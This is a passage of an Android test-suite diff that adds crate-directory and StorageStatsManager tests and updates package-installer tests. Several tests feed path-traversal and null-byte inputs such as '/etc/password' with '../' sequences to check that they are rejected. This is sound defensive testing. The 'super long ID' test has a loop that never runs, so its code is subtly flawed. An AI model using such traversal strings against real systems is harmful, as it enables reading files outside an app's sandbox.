+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdSuffixContainsDotDot_shouldTriggerIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("normalCrate/etc/password/../../..");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdStartWithSlashSlash_shouldTriggerIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("/etc/password");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdStartWithSlash_shouldTriggerIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("//etc/password");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdContainsSlashChar_shouldBeInvalidated() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("A/B");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_superLongCrateId_shouldBeIllegalArgument() throws IOException {
+ IllegalArgumentException illegalArgumentException = null;
+ StringBuilder sb = new StringBuilder(1024);
+ while (sb.length() > 1024) {
+ sb.append(mCrateId);
+ }
+
+ try {
+ mContext.getCrateDir(sb.toString());
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_callWithDifferentCrateId_shouldGenerateTheSameNumberOfCrates() {
+ final String[] expectedCrates = new String[] {"A", "B", "C"};
+
+ for (String crateId : expectedCrates) {
+ mContext.getCrateDir(crateId);
+ }
+
+ String[] newChildDir = mCratesRoot.toFile().list();
+ assertThat(newChildDir).asList().containsAllIn(expectedCrates);
+ }
+
+ @Test
+ public void getCrateDir_withUtf8Characters_shouldCreateSuccess() {
+ String utf8Characters = "æɛəɚʊʌɔ" + "宮商角止羽" + "あいうえお"
+ + "ㅏㅓㅗㅜㅡㅣㅐㅔㅚㅟㅑㅕㅛㅠㅒㅖㅘㅙㅝㅞㅢ";
+
+ File crateDir = mContext.getCrateDir(utf8Characters);
+
+ assertThat(crateDir.getName()).isEqualTo(utf8Characters);
+ }
+
+ @Test
+ public void getCrateDir_withNullCharacter_shouldBeFail() {
+ String utf8Characters = "abcdefg\0hijklmnopqrstuvwxyz";
+
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ mContext.getCrateDir(utf8Characters);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_withLineFeedCharacter_shouldSuccess() {
+ String utf8Characters = "abcdefg\nhijklmnopqrstuvwxyz";
+
+ File crateDir = mContext.getCrateDir(utf8Characters);
+
+ assertThat(crateDir.exists() && crateDir.isDirectory()).isTrue();
+ }
+}
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java
new file mode 100644
index 0000000..9643aef
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.storage.cts;
+
+import static android.os.UserHandle.MIN_SECONDARY_USER_ID;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.app.usage.StorageStatsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.UserHandle;
+import android.os.storage.CrateInfo;
+import android.os.storage.StorageManager;
+import android.text.TextUtils;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Correspondence;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.nio.file.FileVisitResult;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.SimpleFileVisitor;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.util.Collection;
+import java.util.UUID;
+
+@RunWith(AndroidJUnit4.class)
+public class StorageStatsManagerTest {
+ private static final String CRATES_ROOT = "crates";
+
+ private Context mContext;
+ private StorageManager mStorageManager;
+ private StorageStatsManager mStorageStatsManager;
+
+ @Rule
+ public TestName mTestName = new TestName();
+ private Path mCratesPath;
+ private Path mCrateDirPath;
+ private UUID mUuid;
+ private String mCrateId;
+
+ private void cleanAllOfCrates() throws IOException {
+ if (!mCratesPath.toFile().exists()) {
+ return;
+ }
+
+ Files.walkFileTree(mCratesPath, new SimpleFileVisitor<Path>() {
+ @Override
+ public FileVisitResult visitFile(Path file, BasicFileAttributes attrs)
+ throws IOException {
+ Files.deleteIfExists(file);
+ return super.visitFile(file, attrs);
+ }
+
+ @Override
+ public FileVisitResult postVisitDirectory(Path dir, IOException exc)
+ throws IOException {
+ Files.deleteIfExists(dir);
+ return super.postVisitDirectory(dir, exc);
+ }
+ });
+ Files.deleteIfExists(mCratesPath);
+ }
+
+ /**
+ * Setup the necessary member field used by test methods.
+ */
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mStorageManager = (StorageManager) mContext.getSystemService(Context.STORAGE_SERVICE);
+ mStorageStatsManager =
+ (StorageStatsManager) mContext.getSystemService(Context.STORAGE_STATS_SERVICE);
+
+ mCratesPath = mContext.getDataDir().toPath().resolve(CRATES_ROOT);
+ cleanAllOfCrates();
+
+ mCrateId = mTestName.getMethodName();
+
+ mCrateDirPath = mCratesPath.resolve(mCrateId);
+ mUuid = mStorageManager.getUuidForPath(mCratesPath.toFile());
+ }
+
+ /**
+ * To clean all of crated folders to prevent from flaky.
+ * @throws Exception happened when the tearDown tries to removed all of folders and files.
+ */
+ @After
+ public void tearDown() throws Exception {
+ cleanAllOfCrates();
+ }
+
+ @Test
+ public void queryCratesForUid_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = mStorageStatsManager.queryCratesForUid(mUuid,
+ Process.myUid());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ private Collection<CrateInfo> queryCratesForUser(boolean byShell, UUID uuid,
+ UserHandle userHandle)
+ throws PackageManager.NameNotFoundException, IOException {
+ final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
+ if (byShell) {
+ uiAutomation.adoptShellPermissionIdentity(Manifest.permission.MANAGE_CRATES);
+ }
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUser(uuid,
+ userHandle);
+ if (byShell) {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ return crateInfos;
+ }
+ @Test
+ public void queryCratesForUser_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForPackage_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUid_withOtherUid_shouldRiseSecurityIssueException() throws Exception {
+ int fakeUid = UserHandle.getUid(MIN_SECONDARY_USER_ID,
+ UserHandle.getAppId(Process.myUid()));
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForUid(mUuid, fakeUid);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForUser_withOtherUid_shouldRiseSecurityIssueException()
+ throws Exception {
+ UserHandle fakeUserHandle = UserHandle.of(MIN_SECONDARY_USER_ID);
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForUser(mUuid, fakeUserHandle);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForPackage_withOtherUid_shouldRiseSecurityIssueException()
+ throws Exception {
+ UserHandle fakeUserHandle = UserHandle.of(MIN_SECONDARY_USER_ID);
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), fakeUserHandle);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForUid_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForUser_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = queryCratesForUser(true,
+ mUuid, Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForPackage_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForUid_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForUser_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForPackage_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForUid_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUser_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForPackage_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUid_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = mStorageStatsManager.queryCratesForUid(mUuid,
+ Process.myUid());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ @Test
+ public void queryCratesForPackage_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ @Test
+ public void queryCratesForUser_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ Correspondence<CrateInfo, String> mCorrespondenceByLabel = new Correspondence<>() {
+ @Override
+ public boolean compare(CrateInfo crateInfo, String expect) {
+ return TextUtils.equals(crateInfo.getLabel(), expect);
+ }
+
+ @Override
+ public String toString() {
+ return "It should be the crated folder name";
+ }
+ };
+
+ @Test
+ public void queryCratesForUid_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+
+ @Test
+ public void queryCratesForUser_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+
+ @Test
+ public void queryCratesForPackage_createDeepPath_shouldCreateOneCrate()
+ throws Exception {
+ final Path threeLevelPath = mCrateDirPath.resolve("1").resolve("2").resolve("3");
+ Files.createDirectories(threeLevelPath);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos).comparingElementsUsing(mCorrespondenceByLabel)
+ .containsExactly(mCrateId);
+ }
+}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8cf673d..8d57488 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Device Owner-specific tests are not applicable to instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system"/>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 5270823..6ab9d5a 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -25,8 +25,10 @@
<option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="teardown-command" value="pm uninstall com.android.tests.atomicinstall.testapp.A" />
- <option name="teardown-command" value="pm uninstall com.android.tests.atomicinstall.testapp.B" />
+ <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+ <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+ <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+ <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/atomicinstall/OWNERS b/tests/tests/packageinstaller/atomicinstall/OWNERS
new file mode 100644
index 0000000..25775b8
--- /dev/null
+++ b/tests/tests/packageinstaller/atomicinstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+include /hostsidetests/stagedinstall/OWNERS
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index 67051cc..8c1623d 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -141,35 +141,40 @@
@Test
public void testInvalidStateScenarios() throws Exception {
int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
- PackageInstaller.Session parentSession = openPackageInstallerSession(parentSessionId);
-
- for (int childSessionId : parentSession.getChildSessionIds()) {
- PackageInstaller.Session childSession = openPackageInstallerSession(childSessionId);
- try {
- childSession.commit(LocalIntentSender.getIntentSender());
- fail("Should not be able to commit a child session!");
- } catch (IllegalStateException e) {
- // ignore
+ try (PackageInstaller.Session parentSession =
+ openPackageInstallerSession(parentSessionId)) {
+ for (int childSessionId : parentSession.getChildSessionIds()) {
+ try (PackageInstaller.Session childSession =
+ openPackageInstallerSession(childSessionId)) {
+ try {
+ childSession.commit(LocalIntentSender.getIntentSender());
+ fail("Should not be able to commit a child session!");
+ } catch (IllegalStateException e) {
+ // ignore
+ }
+ try {
+ childSession.abandon();
+ fail("Should not be able to abandon a child session!");
+ } catch (IllegalStateException e) {
+ // ignore
+ }
+ }
}
- try {
- childSession.abandon();
- fail("Should not be able to abandon a child session!");
- } catch (IllegalStateException e) {
- // ignore
+ int toAbandonSessionId = Install.single(TestApp.A1).createSession();
+ try (PackageInstaller.Session toAbandonSession =
+ openPackageInstallerSession(toAbandonSessionId)) {
+ toAbandonSession.abandon();
+ try {
+ parentSession.addChildSessionId(toAbandonSessionId);
+ fail("Should not be able to add abandoned child session!");
+ } catch (RuntimeException e) {
+ // ignore
+ }
}
- }
- int toAbandonSessionId = Install.single(TestApp.A1).createSession();
- PackageInstaller.Session toAbandonSession = openPackageInstallerSession(toAbandonSessionId);
- toAbandonSession.abandon();
- try {
- parentSession.addChildSessionId(toAbandonSessionId);
- fail("Should not be able to add abandoned child session!");
- } catch (RuntimeException e) {
- // ignore
- }
- parentSession.commit(LocalIntentSender.getIntentSender());
- assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+ parentSession.commit(LocalIntentSender.getIntentSender());
+ assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+ }
}
private static void assertInconsistentStagedSettings(Install install) {
diff --git a/tests/tests/packageinstaller/install/AndroidManifest.xml b/tests/tests/packageinstaller/install/AndroidManifest.xml
index 7d2e984..eeef252 100644
--- a/tests/tests/packageinstaller/install/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/install/AndroidManifest.xml
@@ -22,7 +22,7 @@
<application android:label="Cts Package Installer Tests">
<uses-library android:name="android.test.runner" />
- <activity android:name=".InstallConfirmDialogStarter" />
+ <activity android:name="com.android.compatibility.common.util.FutureResultActivity" />
<provider android:authorities="android.packageinstaller.install.cts.fileprovider"
android:name="androidx.core.content.FileProvider"
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt
deleted file mode 100644
index b026943..0000000
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.packageinstaller.install.cts
-
-import android.app.Activity
-import android.content.Intent
-import android.os.Bundle
-import java.util.concurrent.LinkedBlockingQueue
-
-val installDialogResults = LinkedBlockingQueue<Int>()
-
-class InstallConfirmDialogStarter : Activity() {
- override fun onCreate(savedInstanceState: Bundle?) {
- super.onCreate(savedInstanceState)
-
- savedInstanceState ?: installDialogResults.clear()
- }
-
- override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
- installDialogResults.offer(resultCode)
- }
-}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index e163a32..a8a8917 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -28,6 +28,7 @@
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
+import java.util.concurrent.TimeUnit
private const val INSTALL_BUTTON_ID = "button1"
private const val CANCEL_BUTTON_ID = "button2"
@@ -47,11 +48,11 @@
*/
@Test
fun confirmInstallation() {
- startInstallationViaIntent()
+ val installation = startInstallationViaIntent()
clickInstallerUIButton(INSTALL_BUTTON_ID)
// Install should have succeeded
- assertEquals(RESULT_OK, getInstallDialogResult())
+ assertEquals(RESULT_OK, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertInstalled()
}
@@ -61,14 +62,12 @@
*/
@Test
fun cancelInstallation() {
- startInstallationViaIntent()
+ val installation = startInstallationViaIntent()
clickInstallerUIButton(CANCEL_BUTTON_ID)
// Install should have been aborted
- assertEquals(RESULT_CANCELED, getInstallDialogResult())
+ assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertNotInstalled()
-
- assertNoMoreInstallResults()
}
/**
@@ -85,12 +84,12 @@
intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
- installDialogStarter.activity.startActivityForResult(intent, 0)
+ val reinstall = installDialogStarter.activity.startActivityForResult(intent)
clickInstallerUIButton(INSTALL_BUTTON_ID)
// Install should have succeeded
- assertEquals(RESULT_OK, getInstallDialogResult())
+ assertEquals(RESULT_OK, reinstall.get(TIMEOUT, TimeUnit.MILLISECONDS))
assertInstalled()
}
}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index f6bbe06..7b05ad1 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -38,12 +38,14 @@
import android.support.test.uiautomator.Until
import androidx.core.content.FileProvider
import com.android.compatibility.common.util.AppOpsUtils
+import com.android.compatibility.common.util.FutureResultActivity
import org.junit.After
import org.junit.Assert
import org.junit.Before
import org.junit.Rule
import java.io.File
import java.lang.IllegalArgumentException
+import java.util.concurrent.CompletableFuture
import java.util.concurrent.LinkedBlockingQueue
import java.util.concurrent.TimeUnit
@@ -62,7 +64,7 @@
open class PackageInstallerTestBase {
@get:Rule
- val installDialogStarter = ActivityTestRule(InstallConfirmDialogStarter::class.java)
+ val installDialogStarter = ActivityTestRule(FutureResultActivity::class.java)
private val context = InstrumentationRegistry.getTargetContext()
private val pm = context.packageManager
@@ -79,7 +81,7 @@
if (status == STATUS_PENDING_USER_ACTION) {
val activityIntent = intent.getParcelableExtra<Intent>(EXTRA_INTENT)
activityIntent!!.addFlags(FLAG_ACTIVITY_CLEAR_TASK or FLAG_ACTIVITY_NEW_TASK)
- installDialogStarter.activity.startActivityForResult(activityIntent, 0)
+ installDialogStarter.activity.startActivityForResult(activityIntent)
}
installSessionResult.offer(status)
@@ -128,7 +130,7 @@
/**
* Start an installation via a session
*/
- protected fun startInstallationViaSession(): PackageInstaller.Session {
+ protected fun startInstallationViaSession(): CompletableFuture<Int> {
val pi = pm.packageInstaller
// Create session
@@ -143,33 +145,28 @@
}
// Commit session
- val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(INSTALL_ACTION_CB),
- FLAG_UPDATE_CURRENT)
- session.commit(pendingIntent.intentSender)
+ val dialog = FutureResultActivity.doAndAwaitStart {
+ val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(INSTALL_ACTION_CB),
+ FLAG_UPDATE_CURRENT)
+ session.commit(pendingIntent.intentSender)
+ }
// The system should have asked us to launch the installer
Assert.assertEquals(STATUS_PENDING_USER_ACTION, getInstallSessionResult())
- return session
+ return dialog
}
/**
* Start an installation via a session
*/
- protected fun startInstallationViaIntent() {
+ protected fun startInstallationViaIntent(): CompletableFuture<Int> {
val intent = Intent(Intent.ACTION_INSTALL_PACKAGE)
intent.data = FileProvider.getUriForFile(context, CONTENT_AUTHORITY, apkFile)
intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
- installDialogStarter.activity.startActivityForResult(intent, 0)
- }
-
- /**
- * Wait for result of install dialog and return it
- */
- fun getInstallDialogResult(timeout: Long = TIMEOUT): Int? {
- return installDialogResults.poll(timeout, TimeUnit.MILLISECONDS)
+ return installDialogStarter.activity.startActivityForResult(intent)
}
fun assertInstalled() {
@@ -196,11 +193,10 @@
}
/**
- * Assert that there are no more callbacks from the install session or install dialog
+ * Sets the given secure setting to the provided value.
*/
- fun assertNoMoreInstallResults() {
- Assert.assertNull(getInstallSessionResult(0))
- Assert.assertEquals(0, installDialogResults.size)
+ fun setSecureSetting(secureSetting: String, value: Int) {
+ uiDevice.executeShellCommand("settings put secure $secureSetting $value")
}
@After
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 34b78c3..c7669bd 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -27,9 +27,11 @@
import com.android.compatibility.common.util.AppOpsUtils
import org.junit.Assert.assertEquals
import org.junit.Assert.assertTrue
+import org.junit.Assert.fail
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
+import java.util.concurrent.TimeUnit
private const val INSTALL_BUTTON_ID = "button1"
private const val CANCEL_BUTTON_ID = "button2"
@@ -50,7 +52,7 @@
*/
@Test
fun confirmInstallation() {
- startInstallationViaSession()
+ val installation = startInstallationViaSession()
clickInstallerUIButton(INSTALL_BUTTON_ID)
// Install should have succeeded
@@ -58,9 +60,7 @@
assertInstalled()
// Even when the install succeeds the install confirm dialog returns 'canceled'
- assertEquals(RESULT_CANCELED, getInstallDialogResult())
-
- assertNoMoreInstallResults()
